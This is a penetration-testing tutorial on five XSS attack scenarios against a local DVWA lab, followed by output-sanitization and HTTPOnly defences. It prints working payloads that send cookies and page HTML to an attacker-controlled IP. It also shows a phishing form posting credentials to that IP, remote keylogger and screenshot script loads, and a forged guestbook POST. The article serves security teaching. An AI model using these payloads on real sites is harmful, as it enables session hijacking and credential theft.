5 Practical Scenarios for XSS Attacks
- Article tags
Let’s explore a couple of practical attack scenarios that can be implemented as PoCs to prove the real risk of Cross-Site Scripting (XSS) vulnerabilities.
As a penetration tester, you want your customers to understand the risk of the vulnerabilities that you find. And the best way to do this is by creating a high-impact proof-of-concept (POC) in which you show how attackers can exploit the vulnerabilities and affect the business.
In this article, we will see how to create XSS attack PoCs in order to:
Background
Cross-Site Scripting (XSS) is a vulnerability in web applications and also the name of a client-side attack in which the attacker injects and runs a malicious script into a legitimate web page. Browsers are capable of displaying HTML and executing JavaScript. If the application does not escape special characters in the input/output and reflects user input as-is back to the browser, an adversary may be able to launch a Cross-Site Scripting (XSS) attack successfully.
You can find more information about this vulnerability in OWASP’s Cross-Site Scripting page.
For demo purposes, we will use the well-known DVWA application, which we have installed locally.
The DVWA page http://localhost:81/DVWA/vulnerabilities/xss_r/
is affected by a reflected XSS in the name parameter. This can be seen in the figure below when we inject the JavaScript code <script>alert(123)</script> and it is reflected and executed in the response page.
XSS Attack 1: Hijacking the user’s session
Most web applications maintain user sessions in order to identify the user across multiple HTTP requests. Sessions are identified by session cookies.
For example, after a successful login to an application, the server will send you a session cookie by the Set-Cookie
header. Now, if you want to access any page in the application or submit a form, the cookie (which is now stored in the browser) will also be included in all the requests sent to the server. This way, the server will know who you are.
Thus, session cookies are sensitive information which, if compromised, may allow an attacker to impersonate the legitimate user and gain access to his existing web session. This attack is called session hijacking.
JavaScript code running in the browser can access the session cookies (when they lack the flag HTTPOnly) by calling document.cookie
. So, if we inject the following payload into our name parameter, the vulnerable page will show the current cookie value in an alert box:
http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>
Now, in order to steal the cookies, we have to provide a payload which will send the cookie value to the attacker-controlled website.
The following payload creates a new Image object in the DOM of the current page and sets the src attribute to the attacker’s website. As a result, the browser will make an HTTP request to this external website (192.168.149.128) and the URL will contain the session cookie.
<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.cookie;</script>
So here is the attack URL which will send the cookies to our server:
http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.cookie;</script>
When the browser receives this request, it executes the JavaScript payload, which makes a new request to 192.168.149.128, along with the cookie value in the URL, as shown below.
If we listen for an incoming connection on the attacker-controlled server (192.168.149.128), we can see an incoming request with cookie values (security and PHPSESSID) appended in the URL. The same information can be found in the access.log file on the server.
Using the stolen cookie
With the above cookie information, if we access any internal page of the application and append the cookie value in the request, we can access the page on behalf of the victim, in its own session (without knowing the username and password). Basically, we have hijacked the user’s session.
The HTTPOnly cookie attribute can help to mitigate this scenario by preventing access to the cookie value through JavaScript. It can be set when initializing the cookie value (via Set-Cookie
header).
XSS Attack 2: Perform unauthorized activities
If the HTTPOnly cookie attribute is set, we cannot steal the cookies through JavaScript. However, using the XSS attack, we can still perform unauthorized actions inside the application on behalf of the user.
For instance, in this attack scenario, we will post a new message in the Guestbook on behalf of the victim user, without his consent. For this, we need to forge an HTTP POST request to the Guestbook page with the appropriate parameters with JavaScript.
The following payload will do this by creating an XMLHTTPRequest object and setting the necessary header and data:
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST','http://localhost:81/DVWA/vulnerabilities/xss_s/',true);
xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');
xhr.send('txtName=xss&mtxMessage=xss&btnSign=Sign+Guestbook');
</script>
This is how the request looks like in the browser and also intercepted in Burp.
The script on execution will generate a new request to add a comment on behalf of the user.
XSS Attack 3: Phishing to steal user credentials
XSS can also be used to inject a form into the vulnerable page and use this form to collect user credentials. This type of attack is called phishing.
The payload below will inject a form with the message Please login to proceed, along with username and password input fields.
When accessing the link below, the victim may enter its credentials in the injected form. Note that we can modify the payload to make it look like a legitimate form as per our need.
http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<h3>Please login to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Logon"></br>
Once the user enters their credentials and clicks on the Logon button, the request is sent to the attacker-controlled server. The request can be seen in the screenshots below:
The credentials entered by the user (pentest: pentest) can be seen on the receiving server.
XSS Attack 4: Capture the keystrokes by injecting a keylogger
In this attack scenario, we will inject a JavaScript keylogger into the vulnerable web page and we will capture all the keystrokes of the user within the current page.
First of all, we will create a separate JavaScript file and we will host it on the attacker-controlled server. We need this file because the payload is too big to be inserted in the URL and we avoid encoding and escaping errors. The JavaScript file contains the following code:
On every keypress, a new XMLHttp request is generated and sent towards the keylog.php page hosted at the attacker-controlled server. The code in keylog.php writes the value of the pressed keys into a file called data.txt.
Now we need to call the vulnerable page with the payload from our server:
http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script src="http://192.168.149.128/xss.js">
Once the script is loaded on the page, a new request is fired with every stroke of any key.
The value of the parameter key is being written to the data.txt file, as shown in the screenshot below.
XSS Attack 5: Stealing sensitive information
Another malicious activity that can be performed with an XSS attack is stealing sensitive information from the user’s current session. Imagine that an internet banking application is vulnerable to XSS, the attacker could read the current balance, transaction information, personal data, etc.
For this scenario, we need to create a JavaScript file on the attacker-controlled server. The file contains logic that takes a screenshot of the page where the script is running:
Then we need to create a PHP file on the attacker’s server, which saves the content of the png parameter into the test.png file.
Now we inject the JavaScript code into the vulnerable page by tricking the user to access the following URL:
http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script src="http://192.168.149.128/screenshot.js">
Once the JavaScript file is loaded, the script sends the data in base64 format to the saveshot.php file which writes the data into the test.png file. On opening the test.png file, we can see the screen capture of the vulnerable page.
Another way
Another way to steal the page content would be to get the HTML source code by using getElementById. Here is a payload that gets the innerHTML of the guestbook_comments element and sends it to the attacker.
<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.getElementById('guestbook_comments').innerHTML;</script>
We can also fetch the entire page source of the page by using the following payload:
<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.body.innerHTML</script>
Decoding the received data in the Burp Decoder gives us the cleartext page source of the vulnerable page. Here, we can see the Guestbook comments.
Conclusion
Depending on the functionality and data processed by the vulnerable application, XSS vulnerabilities can pose a significant risk to the business. Attackers could steal confidential information, perform unauthorized activities, and take over the entire web sessions of the victim users.
The best protection against this type of attack is output sanitization, meaning that any data received from the client-side should be sanitized before being returned to the response page. The sanitization is done by transforming the special HTML characters into their HTML entity equivalents, such as:
< ---> <
> ---> >
" ---> "
' ---> '
It is recommended to use the builtin functions of every programming language that are designed to do sanitization. For instance, in PHP you should use htmlentities.
More information about defending against XSS can be found in OWASP’s XSS Prevention Cheat Sheet.